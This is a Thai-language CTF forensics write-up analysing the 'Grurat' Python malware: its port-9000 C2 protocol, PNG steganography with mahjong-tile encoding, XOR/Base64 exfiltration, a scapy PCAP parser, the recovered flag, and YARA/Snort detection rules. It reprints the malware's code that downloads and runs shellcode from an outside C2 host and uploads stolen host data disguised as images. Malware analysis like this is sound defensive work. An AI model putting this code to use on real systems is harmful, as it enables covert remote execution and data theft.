Challenge Name: Grurat
Category: Forensics / Malware Analysis
Difficulty: Medium-Hard
Files Given:
client_random_update.pyc - Compiled Python malwaregrurat.pcap - Network traffic capture (PCAP file)Objective: วิเคราะห์ malware และหา flag ที่ถูก exfiltrate (ขโมยข้อมูล) ออกไปผ่าน network
ก่อนจะเริ่ม เรามาเข้าใจภาพรวมก่อนว่า challenge นี้ต้องการให้เราทำอะไร:
.pyc เพื่อดู source code ว่า malware ทำงานยังไงPython เมื่อ compile code จะได้ไฟล์ .pyc (Python Compiled) ซึ่งเป็น bytecode ที่ Python interpreter อ่านได้แต่คนอ่านไม่ค่อยเข้าใจ
ตัวอย่าง bytecode:
1 0 LOAD_CONST 1 (1)
2 LOAD_CONST 2 (32)
4 LOAD_CONST 3 (254)เราต้อง decompile (แปลงกลับ) จาก bytecode เป็น Python source code ที่อ่านได้
มีหลายวิธีในการ decompile Python bytecode:
ในที่นี้เราจะใช้ PyLingual (https://pylingual.io) เพราะ:
ขั้นตอน:
client_random_update.pycหลังจาก decompile เราจะได้ไฟล์ client_random_update.py ซึ่งมีโค้ดยาวมาก แต่เราจะแบ่งวิเคราะห์เป็นส่วนๆ
C2_HOST = '34.124.239.18' # IP address ของ C2 server
C2_PORT = 9000 # Port สำหรับ command & control
C2_UPLOAD_URL = 'http://34.124.239.18/api/update.php' # URL สำหรับ upload ข้อมูลอธิบาย:
/api/update.phpMalware นี้ไม่ได้ใช้ HTTP แบบปกติในการรับคำสั่ง แต่ใช้ custom binary protocol ที่ออกแบบมาเอง
MSG_TEXT = 1 # ข้อความแบบ text ธรรมดา
MSG_COMMAND = 32 # คำสั่งจาก C2 server
MSG_PING = 254 # ตรวจสอบว่ายังเชื่อมต่ออยู่ไหม
MSG_PONG = 255 # ตอบกลับว่ายังทำงานอยู่แต่ละ message มีโครงสร้างแบบนี้:
MSG_TEXT (ส่งข้อความธรรมดา):
+--------+------------+------------------+
| Type | Length | Text Data |
| 1 byte | 4 bytes | Variable length |
+--------+------------+------------------+
| 0x01 | uint32_t | UTF-8 string |
+--------+------------+------------------+ตัวอย่าง: ส่งข้อความ "agent online"
01 00 00 00 0C 61 67 65 6E 74 20 6F 6E 6C 69 6E 65
│ └────┬────┘ └──────────────┬──────────────────┘
│ │ │
│ │ └─ "agent online" (12 bytes)
│ └─ Length = 12
└─ Type = MSG_TEXT (1)MSG_COMMAND (รับคำสั่ง):
+--------+------------+------------------+
| Type | Length | Command Data |
| 1 byte | 2 bytes | Variable length |
+--------+------------+------------------+
| 0x20 | uint16_t | UTF-8 string |
+--------+------------+------------------+ตัวอย่าง: รับคำสั่ง "getrunurl http://..."
20 00 2A 67 65 74 72 75 6E 75 72 6C ...
│ └─┬─┘ └──────────┬────────────────
│ │ │
│ │ └─ "getrunurl http://..."
│ └─ Length = 42 (0x002A)
└─ Type = MSG_COMMAND (32)def send_text(sock, text):
"""ส่งข้อความธรรมดา"""
# สร้าง packet: [Type:1][Length:4][Text:variable]
sock.sendall(struct.pack('!BI', MSG_TEXT, len(text.encode())) + text.encode())
def parse_message(data):
"""แปลง binary data เป็น message"""
if len(data) < 1:
return None
msg_type = data[0] # อ่าน byte แรก
if msg_type == MSG_COMMAND:
# อ่าน length (2 bytes)
cmd_len = struct.unpack('!H', data[1:3])[0]
# อ่าน command
cmd = data[3:3+cmd_len].decode('utf-8')
return {'type': 'COMMAND', 'content': cmd}
# ... handle types อื่นๆอธิบาย struct.pack:
! = big-endian byte order (network byte order)B = unsigned char (1 byte)I = unsigned int (4 bytes)H = unsigned short (2 bytes)PNG (Portable Network Graphics) เป็นไฟล์รูปภาพที่มีโครงสร้างเป็น chunks:
PNG File Structure:
├── PNG Signature (8 bytes): 89 50 4E 47 0D 0A 1A 0A
├── IHDR chunk (header): ขนาดรูป, color type, etc.
├── IDAT chunks (image data): ข้อมูลรูปภาพจริง
├── Custom chunks: สามารถเพิ่มได้ตามต้องการ!
└── IEND chunk: จบไฟล์Chunk Structure:
+----------+----------+----------+----------+
| Length | Type | Data | CRC |
| 4 bytes | 4 bytes | Variable | 4 bytes |
+----------+----------+----------+----------+Malware นี้สร้าง custom chunk ชื่อ stEg เพื่อซ่อนข้อมูล:
CHUNK_TYPE = b'stEg' # 73 74 45 67 (ASCII: s t E g)ทำไมต้องใช้ custom chunk?
นี่คือส่วนที่น่าสนใจที่สุด! Malware ใช้ Mahjong tiles (ไพ่นกกระจอก emoji 🀇) ในการ encode ข้อมูล
MJ_ALPHABET = ['🀇', '🀈', '🀉', '🀊', '🀋', '🀌', '🀍', '🀎', '🀏',
'🀐', '🀑', '🀒', '🀓', '🀔', '🀕', '🀖']
# 0 1 2 3 4 5 6 7 8
# 9 10 11 12 13 14 15วิธีการ encode: แต่ละ byte (8 bits) จะถูกแบ่งเป็น 2 nibbles (4 bits แต่ละตัว) แล้วแทนด้วย mahjong tile:
Example: Byte 0x3A (decimal 58)
Binary: 0011 1010
││││ ││││
3 A (hex)
│ │
🀊 🀑 (mahjong tiles)
ดังนั้น 0x3A → 🀊🀑ตัวอย่างเต็ม:
def mahjong_encode(data_bytes: bytes) -> str:
encoded = []
for byte in data_bytes:
hi_nibble = byte >> 4 # เอา 4 bits บน
lo_nibble = byte & 0xF # เอา 4 bits ล่าง
encoded.append(MJ_ALPHABET[hi_nibble])
encoded.append(MJ_ALPHABET[lo_nibble])
return ''.join(encoded)
# ตัวอย่าง:
data = b'\x3A\xF5' # 2 bytes
# 0x3A = 0011 1010 → 3 + A → 🀊🀑
# 0xF5 = 1111 0101 → F + 5 → 🀖🀌
# Result: "🀊🀑🀖🀌"ทำไมต้องใช้ Mahjong?
def extract_mahjong_from_png(png_data):
"""หา stEg chunk และดึง mahjong payload ออกมา"""
if not png_data.startswith(PNG_SIG):
return None
i = len(PNG_SIG) # ข้าม PNG signature
# วน loop อ่านแต่ละ chunk
while i + 12 <= len(png_data):
# อ่าน chunk header
length = struct.unpack('>I', png_data[i:i+4])[0]
chunk_type = png_data[i+4:i+8]
if chunk_type == b'stEg': # เจอแล้ว!
# ดึงข้อมูล
payload = png_data[i+8:i+8+length]
return payload.decode('utf-8') # mahjong string
# ไปยัง chunk ถัดไป
i += 12 + length
return Noneโครงสร้างข้อมูลที่ซ่อน:
PNG with stEg chunk:
├── PNG Signature
├── IHDR chunk
├── IDAT chunks (actual image)
├── stEg chunk ← ข้อมูลถูกซ่อนที่นี่!
│ ├── Length: 4 bytes
│ ├── Type: "stEg"
│ ├── Data: 🀇🀈🀉🀊... (mahjong encoded)
│ └── CRC: 4 bytes
└── IEND chunkเมื่อ malware รับคำสั่ง getrunurl จะทำดังนี้:
def handle_command(cmd: str, out_dir: Path) -> str:
parts = cmd.strip().split(maxsplit=1)
op = parts[0].lower() # "getrunurl"
arg = parts[1].strip() # "http://34.124.239.18/images/niarRF.png"
if op == 'getrunurl':
# Step 1: ดาวน์โหลด PNG file
dst = download_to_file(arg, out_dir, 52428800, 30.0)
# Step 2: ตรวจสอบว่ามี shellcode ไหม
if has_mahjong_shellcode(dst):
# Step 3: Extract shellcode
shellcode = extract_mahjong_secret_bytes(dst)
# Step 4: Execute shellcode
output_path = Path('C:/Users/Public/rest.txt')
execute_shellcode_subprocess(shellcode)
# Step 5: อ่านผลลัพธ์
time.sleep(2) # รอให้ shellcode ทำงานเสร็จ
if output_path.exists():
output = output_path.read_text()
output_path.unlink() # ลบไฟล์ทิ้ง
return process_key_command(output)def extract_mahjong_secret_bytes(path):
"""Decode shellcode จาก PNG"""
with open(path, 'rb') as f:
raw = f.read()
# หา stEg chunk
payload_data = None
i = len(PNG_SIG)
while i + 12 <= len(raw):
length = struct.unpack('>I', raw[i:i+4])[0]
if raw[i+4:i+8] == b'stEg':
payload_data = raw[i+8:i+8+length]
break
i += 12 + length
# Decode mahjong → bytes
data = mahjong_decode(payload_data.decode('utf-8'))
# ถ้าขึ้นต้นด้วย 'Z' แสดงว่า compressed
if data.startswith(b'Z'):
data = zlib.decompress(data[1:]) # ถอด compression
return data # shellcode!Encoding layers ของ shellcode:
Original Shellcode (x86-64 binary)
↓ zlib compress + prefix 'Z'
Compressed
↓ Mahjong encode
🀇🀈🀉🀊🀋...
↓ Store in stEg chunk
PNG Filedef execute_shellcode_subprocess(shellcode_bytes: bytes) -> str:
"""Execute shellcode ผ่าน shellcode_runner.exe"""
runner_path = 'shellcode_runner.exe'
# เขียน shellcode ลงไฟล์ชั่วคราว
temp_file = tempfile.NamedTemporaryFile(delete=False)
temp_file.write(shellcode_bytes)
temp_file.close()
# Run shellcode runner
proc = subprocess.run(
[runner_path, temp_file.name],
capture_output=True,
timeout=15
)
# ลบไฟล์ชั่วคราว
os.remove(temp_file.name)
return proc.stdoutShellcode ที่ถูก execute จริงๆ จะรัน command นี้:
cmd.exe /c echo key: niarRF > C:\Users\Public\rest.txtBreakdown:
cmd.exe /c = รัน command แล้วปิดecho key: niarRF = พิมพ์ข้อความ "key: niarRF"> C:\Users\Public\rest.txt = เขียนลงไฟล์ทำไมต้องเขียนลงไฟล์?
Shellcode จะเขียน key ในรูปแบบ:
key: <value><RF/FF>ความหมาย:
RF = Real Flag → ใช้ข้อมูลจริงของเครื่อง (hostname + Windows version)FF = Fake Flag → ใช้ random stringdef process_key_command(output_string: str) -> str:
# Parse: "key: niarRF"
_, key_value = output_string.split(':', 1)
key_value = key_value.strip() # "niarRF"
if key_value.endswith('RF'):
# Real Flag: ใช้ข้อมูลจริง
hostname = socket.gethostname() # "DESKTOP-P477C8C"
window_version = platform.version() # "10.0.19045"
plaintext = f'flag{{{hostname}_{window_version}}}'
# plaintext = "flag{DESKTOP-P477C8C_10.0.19045}"
elif key_value.endswith('FF'):
# Fake Flag: ใช้ random
rand = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
plaintext = f'flag{{{rand}}}'
# plaintext = "flag{aB3xY9mK2p}"
# ต่อไป: เข้ารหัสและส่งออกไป...ข้อมูลที่จะส่งออกไปจะผ่านขั้นตอนหลายขั้น:
plaintext: "flag{DESKTOP-P477C8C_10.0.19045}"
↓
[1] XOR Encryption with key "niarRF"
↓
encrypted bytes: b'\x13\x07\x19\x07...'
↓
[2] Base64 Encoding
↓
base64 string: "EwcZBwUHFxkZEQ=="
↓
[3] Mahjong Encoding
↓
mahjong string: "🀈🀊🀇🀎🀈🀐..."
↓
[4] Embed in PNG stEg chunk
↓
PNG file with hidden data
↓
[5] Upload to C2
↓
POST /api/update.phpXOR (Exclusive OR) เป็น encryption แบบง่ายที่สุด แต่ปลอดภัยถ้ามี key ที่ดี:
def xor_encrypt(plaintext: str, key: str) -> bytes:
plaintext_bytes = plaintext.encode('utf-8')
key_bytes = key.encode('utf-8')
encrypted = bytearray()
for i in range(len(plaintext_bytes)):
# XOR แต่ละ byte ของ plaintext กับ key (แบบวนซ้ำ)
encrypted.append(plaintext_bytes[i] ^ key_bytes[i % len(key_bytes)])
return bytes(encrypted)ตัวอย่างการทำงาน:
Plaintext: "flag"
Key: "niarRF"
Step by step:
Position 0: 'f' (0x66) XOR 'n' (0x6E) = 0x08
Position 1: 'l' (0x6C) XOR 'i' (0x69) = 0x05
Position 2: 'a' (0x61) XOR 'a' (0x61) = 0x00
Position 3: 'g' (0x67) XOR 'r' (0x72) = 0x15
Result: b'\x08\x05\x00\x15'คุณสมบัติของ XOR:
A XOR B XOR B = Aการ decrypt:
def xor_decrypt(ciphertext: bytes, key: str) -> str:
# ทำเหมือน encrypt เลย!
key_bytes = key.encode('utf-8')
decrypted = bytearray()
for i in range(len(ciphertext)):
decrypted.append(ciphertext[i] ^ key_bytes[i % len(key_bytes)])
return decrypted.decode('utf-8')Base64 แปลง binary data เป็น text ที่ส่งผ่าน text-based protocol ได้:
import base64
encrypted = b'\x08\x05\x00\x15'
b64 = base64.b64encode(encrypted)
print(b64) # b'CAUFAA=='Base64 Alphabet:
A-Z, a-z, 0-9, +, / (64 characters)
= (padding)ทำไมต้องใช้ Base64?
def create_and_inject_png(mahjong_payload: str) -> bytes:
"""สร้าง PNG ใหม่ที่มีข้อมูล encrypted ซ่อนอยู่"""
# Step 1: สร้างรูปภาพ gradient สวยๆ
width, height = 256, 256
color1 = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
color2 = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
img = Image.new('RGB', (width, height))
draw = ImageDraw.Draw(img)
# วาด gradient
for y in range(height):
r = int(color1[0] + (color2[0] - color1[0]) * y / height)
g = int(color1[1] + (color2[1] - color1[1]) * y / height)
b = int(color1[2] + (color2[2] - color1[2]) * y / height)
draw.line([(0, y), (width, y)], fill=(r, g, b))
# Step 2: Save เป็น PNG
buffer = io.BytesIO()
img.save(buffer, format='PNG')
png_data = buffer.getvalue()
# Step 3: แยก IEND chunk ออก
base_png = png_data[:-12] # PNG ยกเว้น IEND
iend_chunk = png_data[-12:] # IEND chunk
# Step 4: สร้าง stEg chunk
payload_bytes = mahjong_payload.encode('utf-8')
chunk_type = b'stEg'
chunk_data = chunk_type + payload_bytes
# Calculate CRC
crc = zlib.crc32(chunk_data)
# สร้าง complete chunk
chunk = struct.pack('>I', len(payload_bytes)) + chunk_data + struct.pack('>I', crc)
# Step 5: ประกอบ PNG ใหม่
return base_png + chunk + iend_chunkผลลัพธ์:
PNG File:
├── [Normal PNG data]
├── stEg chunk
│ ├── Length: 256
│ ├── Type: "stEg"
│ ├── Data: 🀊🀑🀈🀇... ← encrypted flag here!
│ └── CRC: checksum
└── IEND chunkdef post_image_to_c2(image_data, c2_url, filename):
"""Upload PNG ไปที่ C2 server"""
files = {
'uploaded_image': (filename, image_data, 'image/png')
}
response = requests.post(c2_url, files=files, timeout=20)
return f'Upload {response.status_code}'HTTP Request ที่เกิดขึ้น:
POST /api/update.php HTTP/1.1
Host: 34.124.239.18
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="uploaded_image"; filename="IMG_shot_42315.png"
Content-Type: image/png
‰PNG........[PNG data with hidden encrypted flag]........IEND®B`‚
------WebKitFormBoundary7MA4YWxkTrZu0gW--ชื่อไฟล์แบบ stealth:
def generate_stealthy_filename() -> str:
"""สร้างชื่อไฟล์ที่ดูไม่น่าสงสัย"""
prefixes = ['IMG', 'photo', 'vacation', 'holiday', 'screenshot']
suffixes = ['view', 'shot', 'pic', 'image']
parts = [random.choice(prefixes)]
if random.random() > 0.5:
parts.append(random.choice(suffixes))
parts.append(str(random.randint(1000, 99999)))
return '_'.join(parts) + '.png'
# Example: "vacation_shot_42315.png"ทำไมต้อง random ชื่อไฟล์?
ตอนนี้เราเข้าใจ malware แล้ว มาวิเคราะห์ PCAP เพื่อหา flag กัน!
PCAP (Packet Capture) เป็นไฟล์ที่บันทึก network traffic ทั้งหมด มี 2 แบบ:
.pcap หรือ .pcapng ที่บันทึกไว้แล้วข้อมูลใน PCAP:
จาก malware analysis เรารู้ว่าต้องหา:
TCP Fragmentation:
ตัวอย่าง:
Packet 1: [HTTP Header] GET /images/niarRF.png
Packet 2: [HTTP Response] 200 OK Content-Type: image/png
Packet 3: [Data] 89 50 4E 47 0D 0A 1A 0A... (PNG start)
Packet 4: [Data] ...more PNG data...
Packet 5: [Data] ...more PNG data...
Packet 6: [Data] ...49 45 4E 44 AE 42 60 82 (PNG end)ถ้าเราดูแค่ packet เดียว จะไม่ได้ PNG ครบ!
เราจะใช้ Python กับ library เหล่านี้:
from scapy.all import rdpcap, TCP, Raw, IP # สำหรับอ่าน PCAP
import struct # สำหรับ parse binary data
import base64 # สำหรับ decode base64
import zlib # สำหรับ decompress
import re # สำหรับ regex
import string # สำหรับ string operationsติดตั้ง:
pip install scapydef parse_message(data):
"""แปลง binary packet เป็น message structure"""
if len(data) < 1:
return None
msg_type = data[0] # อ่าน byte แรก
if msg_type == MSG_TEXT:
if len(data) < 5:
return None
text_len = struct.unpack('!I', data[1:5])[0] # อ่าน 4 bytes
if len(data) < 5 + text_len:
return None
text = data[5:5+text_len].decode('utf-8', errors='ignore')
return {'type': 'TEXT', 'content': text}
elif msg_type == MSG_COMMAND:
if len(data) < 3:
return None
cmd_len = struct.unpack('!H', data[1:3])[0] # อ่าน 2 bytes
if len(data) < 3 + cmd_len:
return None
cmd = data[3:3+cmd_len].decode('utf-8', errors='ignore')
return {'type': 'COMMAND', 'content': cmd}
elif msg_type == MSG_PING:
return {'type': 'PING', 'content': ''}
elif msg_type == MSG_PONG:
if len(data) < 3:
return None
flag_len = struct.unpack('!H', data[1:3])[0]
if len(data) < 3 + flag_len:
return None
flag = data[3:3+flag_len].decode('utf-8', errors='ignore')
return {'type': 'PONG', 'content': flag}
return Noneวิธีใช้:
# อ่าน PCAP
packets = rdpcap('grurat.pcap')
# วนดูแต่ละ packet
for pkt in packets:
if TCP in pkt and Raw in pkt:
# Check port 9000 (C2 communication)
if pkt[TCP].sport == 9000 or pkt[TCP].dport == 9000:
payload = bytes(pkt[Raw].load)
msg = parse_message(payload)
if msg:
print(f"{msg['type']}: {msg['content']}")Output:
TEXT: agent online
COMMAND: getrunurl http://34.124.239.18/images/deff.png
TEXT: Upload 200
COMMAND: getrunurl http://34.124.239.18/images/niarRF.png
TEXT: Upload 200from collections import defaultdict
def reassemble_tcp_streams(packets):
"""ประกอบ TCP packets เป็น complete streams"""
streams = defaultdict(lambda: bytearray())
for pkt in packets:
if TCP in pkt and Raw in pkt and IP in pkt:
# สร้าง stream ID จาก IP:port pairs
src = (pkt[IP].src, pkt[TCP].sport)
dst = (pkt[IP].dst, pkt[TCP].dport)
stream_id = tuple(sorted([src, dst])) # bidirectional
# เพิ่ม payload เข้า stream
streams[stream_id].extend(bytes(pkt[Raw].load))
return streamsทำไมต้อง reassemble?
Before reassembly:
Packet 45: b'\x89\x50\x4E\x47' (PNG signature, 4 bytes)
Packet 46: b'\x0D\x0A\x1A\x0A' (continuation, 4 bytes)
Packet 47: b'\x00\x00\x00\x0D' (continuation, 4 bytes)
...
After reassembly:
Stream: b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D...'
└─ Complete PNG file!PNG_SIG = b'\x89PNG\r\n\x1a\n'
def extract_pngs_from_stream(stream_data):
"""หา PNG files ทั้งหมดใน stream"""
pngs = []
pos = 0
while True:
# หา PNG signature
png_start = stream_data.find(PNG_SIG, pos)
if png_start == -1:
break # ไม่เจอแล้ว
# หา IEND chunk (จบ PNG)
iend_pos = stream_data.find(b'IEND', png_start)
if iend_pos == -1:
pos = png_start + 1
continue
# PNG จบที่ IEND + 4 bytes CRC + 4 bytes length
png_end = iend_pos + 8
png_data = stream_data[png_start:png_end]
# เช็คว่ามี stEg chunk ไหม
if b'stEg' in png_data:
pngs.append(png_data)
pos = png_end
return pngsการแยก Downloaded vs Uploaded:
for stream_id, stream_data in streams.items():
stream_bytes = bytes(stream_data)
# Check HTTP method
if b'GET ' in stream_bytes[:200]:
# Download from C2
pngs = extract_pngs_from_stream(stream_bytes)
for png in pngs:
downloaded_pngs.append(png)
elif b'POST ' in stream_bytes[:200] and b'update.php' in stream_bytes[:1000]:
# Upload to C2
pngs = extract_pngs_from_stream(stream_bytes)
for png in pngs:
uploaded_pngs.append(png)def extract_strings_from_shellcode(shellcode_bytes):
"""ดึง ASCII strings จาก binary shellcode"""
printable = set(string.printable.encode())
current = []
strings = []
for byte in shellcode_bytes:
if byte in printable and byte not in [0, 1]:
current.append(chr(byte))
else:
if len(current) >= 4: # เก็บแค่ string ยาว >= 4
strings.append(''.join(current))
current = []
if current and len(current) >= 4:
strings.append(''.join(current))
return stringsตัวอย่าง strings ที่พบ:
[
'GetProcAH',
'VhoDydb',
'\\rest.txPH',
's\\PublicPH',
'"C:\\UserPH',
'niarRF> PH', # ← KEY อยู่ตรงนี้!
'cho key:PH',
'exe /c ePH',
'm32\\cmd.PH',
'ws\\SystePH'
]Extract key:
def find_key_in_shellcode(shellcode_bytes):
"""หา encryption key จาก shellcode strings"""
strings = extract_strings_from_shellcode(shellcode_bytes)
# Pattern: "xxxRF> PH" หรือ "xxxFF> PH"
for s in strings:
if '> PH' in s and ('RF>' in s or 'FF>' in s):
# ตัด "> PH" ออก แล้วเอาส่วนที่ลงท้ายด้วย RF/FF
key_part = s.split('> PH')[0].split('PH')[-1]
if key_part.endswith('FF') or key_part.endswith('RF'):
return key_part
return Noneผลลัพธ์:
Downloaded PNG #1 → Key: "deenFF"
Downloaded PNG #2 → Key: "dlocFF"
Downloaded PNG #3 → Key: "loocFF"
Downloaded PNG #4 → Key: "mrawFF"
Downloaded PNG #5 → Key: "niarRF" ← Real Flag!def decrypt_exfiltrated_data(mahjong_payload, key):
"""ถอดรหัสทั้งหมด: Mahjong → Base64 → XOR → Plaintext"""
# Step 1: Mahjong decode
decoded_bytes = mahjong_decode(mahjong_payload)
# Step 2: Base64 decode
encrypted_data = base64.b64decode(decoded_bytes)
# Step 3: XOR decrypt
plaintext = xor_decrypt(encrypted_data, key)
return plaintext
def mahjong_decode(mj_str):
"""Decode mahjong tiles เป็น bytes"""
if len(mj_str) % 2 != 0:
raise ValueError("Invalid length")
MJ_DEC = {ch: i for i, ch in enumerate(MJ_ALPHABET)}
out = bytearray()
for i in range(0, len(mj_str), 2):
hi = mj_str[i] # tile แรก = high nibble
lo = mj_str[i + 1] # tile ที่สอง = low nibble
if hi not in MJ_DEC or lo not in MJ_DEC:
raise ValueError(f"Invalid tile")
byte = (MJ_DEC[hi] << 4) | MJ_DEC[lo]
out.append(byte)
return bytes(out)
def xor_decrypt(ciphertext, key):
"""XOR decrypt"""
key_bytes = key.encode('utf-8')
decrypted = bytearray()
for i in range(len(ciphertext)):
decrypted.append(ciphertext[i] ^ key_bytes[i % len(key_bytes)])
return decrypted.decode('utf-8', errors='ignore')def analyze_pcap(pcap_file):
"""Main analysis function"""
print("[*] Loading PCAP...")
packets = rdpcap(pcap_file)
# Phase 1: Extract C2 commands
print("\n[PHASE 1] C2 Commands")
commands = []
for pkt in packets:
if TCP in pkt and Raw in pkt:
if pkt[TCP].sport == 9000 or pkt[TCP].dport == 9000:
msg = parse_message(bytes(pkt[Raw].load))
if msg and msg['type'] == 'COMMAND':
commands.append(msg['content'])
print(f" {msg['content']}")
# Phase 2: Reassemble TCP streams
print("\n[PHASE 2] Reassembling TCP Streams")
streams = reassemble_tcp_streams(packets)
# Phase 3: Extract PNGs
print("\n[PHASE 3] Extracting PNGs")
downloaded_pngs = []
uploaded_pngs = []
for stream_id, stream_data in streams.items():
stream_bytes = bytes(stream_data)
if b'GET ' in stream_bytes[:200]:
pngs = extract_pngs_from_stream(stream_bytes)
downloaded_pngs.extend(pngs)
elif b'POST ' in stream_bytes[:200]:
pngs = extract_pngs_from_stream(stream_bytes)
uploaded_pngs.extend(pngs)
print(f" Downloaded: {len(downloaded_pngs)}")
print(f" Uploaded: {len(uploaded_pngs)}")
# Phase 4: Extract keys
print("\n[PHASE 4] Extracting Keys")
keys = set()
for idx, png in enumerate(downloaded_pngs):
mahjong_data = extract_steg_chunk(png)
if mahjong_data:
decoded = mahjong_decode(mahjong_data)
if decoded.startswith(b'Z'):
decoded = zlib.decompress(decoded[1:])
key = find_key_in_shellcode(decoded)
if key:
keys.add(key)
print(f" PNG #{idx+1}: {key}")
# Phase 5: Decrypt uploads
print("\n[PHASE 5] Decrypting Uploads")
for idx, png in enumerate(uploaded_pngs):
mahjong_payload = extract_steg_chunk(png)
if not mahjong_payload:
continue
print(f"\n Upload #{idx+1}:")
for key in keys:
plaintext = decrypt_exfiltrated_data(mahjong_payload, key)
if plaintext and 'flag{' in plaintext:
print(f" ✓ Key: {key}")
print(f" ✓ Flag: {plaintext}")
breakpython c2_parser.py grurat.pcap[*] Loading PCAP: grurat.pcap
[PHASE 1] C2 Commands & Responses
--------------------------------------------------------------------------------
[C2→Client] COMMAND: getrunurl http://34.124.239.18/images/deff.png
[Client→C2] RESPONSE: Upload 200
[C2→Client] COMMAND: getrunurl http://34.124.239.18/images/dff.png
[Client→C2] RESPONSE: Upload 200
[C2→Client] COMMAND: getrunurl http://34.124.239.18/images/lff.png
[Client→C2] RESPONSE: Upload 200
[C2→Client] COMMAND: getrunurl http://34.124.239.18/images/mff.png
[Client→C2] RESPONSE: Upload 200
[C2→Client] COMMAND: getrunurl http://34.124.239.18/images/nrf.png
[Client→C2] RESPONSE: Upload 200
... (และอีกหลายคำสั่ง)
[PHASE 2] Reassembling TCP Streams
--------------------------------------------------------------------------------
[+] Found 15 TCP streams
[PHASE 3] Extracting PNGs
--------------------------------------------------------------------------------
[+] Downloaded PNG: 15234 bytes
[+] Downloaded PNG: 14892 bytes
[+] Downloaded PNG: 15123 bytes
[+] Downloaded PNG: 14765 bytes
[+] Downloaded PNG: 15001 bytes
[+] Uploaded PNG: 8234 bytes
[+] Uploaded PNG: 8156 bytes
[+] Uploaded PNG: 8298 bytes
[+] Uploaded PNG: 8187 bytes
[+] Uploaded PNG: 8245 bytes
Downloaded: 5 PNGs
Uploaded: 5 PNGs
[PHASE 4] Extracting Keys from Shellcode
--------------------------------------------------------------------------------
[Downloaded PNG #1]
[+] Decompressed shellcode: 892 bytes
[!] KEY FOUND: deenFF
[Downloaded PNG #2]
[+] Decompressed shellcode: 891 bytes
[!] KEY FOUND: dlocFF
[Downloaded PNG #3]
[+] Decompressed shellcode: 892 bytes
[!] KEY FOUND: loocFF
[Downloaded PNG #4]
[+] Decompressed shellcode: 891 bytes
[!] KEY FOUND: mrawFF
[Downloaded PNG #5]
[+] Decompressed shellcode: 890 bytes
[!] KEY FOUND: niarRF
[PHASE 5] Decrypting Uploaded PNGs
--------------------------------------------------------------------------------
Keys to try: ['deenFF', 'dlocFF', 'loocFF', 'mrawFF', 'niarRF']
[Uploaded PNG #1]
[+] Mahjong payload: 184 chars
[+] Sample: 🀈🀊🀇🀎🀈🀐🀈🀇🀈🀐🀇🀎🀈🀇🀈🀐...
[?] Key 'deenFF' produced: ®¤£Š›˜ª§œÙ‹...
[✓] SUCCESS with key: niarRF
[✓] Decrypted: flag{DESKTOP-P477C8C_10.0.19045}
================================================================================
SUMMARY
================================================================================
Commands received: 20
Responses sent: 21
Downloaded PNGs: 5
Uploaded PNGs: 5
Keys extracted: 5
Successfully decrypted: 1
[KEYS FOUND]
• deenFF
• dlocFF
• loocFF
• mrawFF
• niarRF
[DECRYPTED FLAGS]
--------------------------------------------------------------------------------
PNG #1 | Key: niarRF
└─ flag{DESKTOP-P477C8C_10.0.19045}
└─ CTF Format: forensic{DESKTOP-P477C8C_10.0.19045}
================================================================================
[*] Analysis complete!flag{DESKTOP-P477C8C_10.0.19045}
└────┬──────────┘ └────┬────┘
│ │
│ └─ Windows Version
└─ Computer HostnameCTF Flag:
forensic{DESKTOP-P477C8C_10.0.19045}มาดูความแตกต่างระหว่าง RF และ FF:
Keys ที่ลงท้ายด้วย FF (Fake Flag):
if key_value.endswith('FF'):
# Generate random string
rand_str = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
plaintext = f'flag{{{rand_str}}}'
# Result: flag{aB3xY9mK2p} ← แตกต่างกันทุกครั้ง!Keys ที่ลงท้ายด้วย RF (Real Flag):
if key_value.endswith('RF'):
# Use actual system info
hostname = socket.gethostname() # ได้ "DESKTOP-P477C8C"
window_version = platform.version() # ได้ "10.0.19045"
plaintext = f'flag{{{hostname}_{window_version}}}'
# Result: flag{DESKTOP-P477C8C_10.0.19045} ← เหมือนเดิมเสมอ!มาดู timeline ทั้งหมดของการโจมตี:
T+0:00 Malware เริ่มทำงาน
└─ เชื่อมต่อ 34.124.239.18:9000
└─ ส่ง "agent online"
T+0:05 C2 ส่งคำสั่ง #1
└─ "getrunurl http://34.124.239.18/images/deenFF.png"
└─ Malware download → execute shellcode → key: deenFF
└─ Encrypt fake flag → upload PNG
T+0:12 C2 ส่งคำสั่ง #2
└─ "getrunurl http://34.124.239.18/images/dlocFF.png"
└─ Malware download → execute shellcode → key: dlocFF
└─ Encrypt fake flag → upload PNG
... (ทำซ้ำกับ loocFF, mrawFF)
T+0:45 C2 ส่งคำสั่ง #5
└─ "getrunurl http://34.124.239.18/images/niarRF.png"
└─ Malware download → execute shellcode → key: niarRF
└─ Encrypt REAL flag → upload PNG ← นี่คือ PNG ที่เราต้องการ!
T+1:00 Connection closesMalware นี้ใช้เทคนิคหลบหลีกหลายอย่าง:
1. Custom Protocol (Port 9000)
2. Steganography
stEg ไม่ standard3. Multi-Layer Encoding
4. Unicode Obfuscation
5. Living off the Land
6. Anti-Forensics
ถึงแม้จะหลบหลีกเก่ง แต่ก็มี indicators ที่ใช้ detect ได้:
Network-based:
✗ Outbound connection to port 9000 (unusual)
✗ Binary protocol (not HTTP/HTTPS)
✗ PNG files with custom chunks
✗ Unicode emoji in network traffic
✗ Regular POST to /api/update.php
✗ Connections to unknown IP (34.124.239.18)Host-based:
✗ File creation in C:\Users\Public\
✗ cmd.exe spawned by unusual process
✗ Execution of shellcode_runner.exe
✗ Multiple PNG downloads in short time
✗ Suspicious process network activityBehavioral:
✗ Python process with network activity
✗ Shellcode execution patterns
✗ Data exfiltration via images
✗ Periodic beaconing (PING/PONG)rule Grurat_Malware {
meta:
description = "Detects Grurat C2 malware"
author = "Your Name"
date = "2024"
strings:
$c2_host = "34.124.239.18" ascii
$c2_port = { 00 00 23 28 } // port 9000 in network byte order
$steg_chunk = "stEg" ascii
$mahjong1 = "🀇🀈🀉" wide
$rest_txt = "C:\\Users\\Public\\rest.txt" ascii wide
$msg_command = { 20 00 ?? } // MSG_COMMAND header
condition:
2 of them
}alert tcp any any -> any 9000 (
msg:"Grurat C2 Communication Detected";
content:"|01 00 00 00|"; depth:4;
content:"agent online"; distance:0;
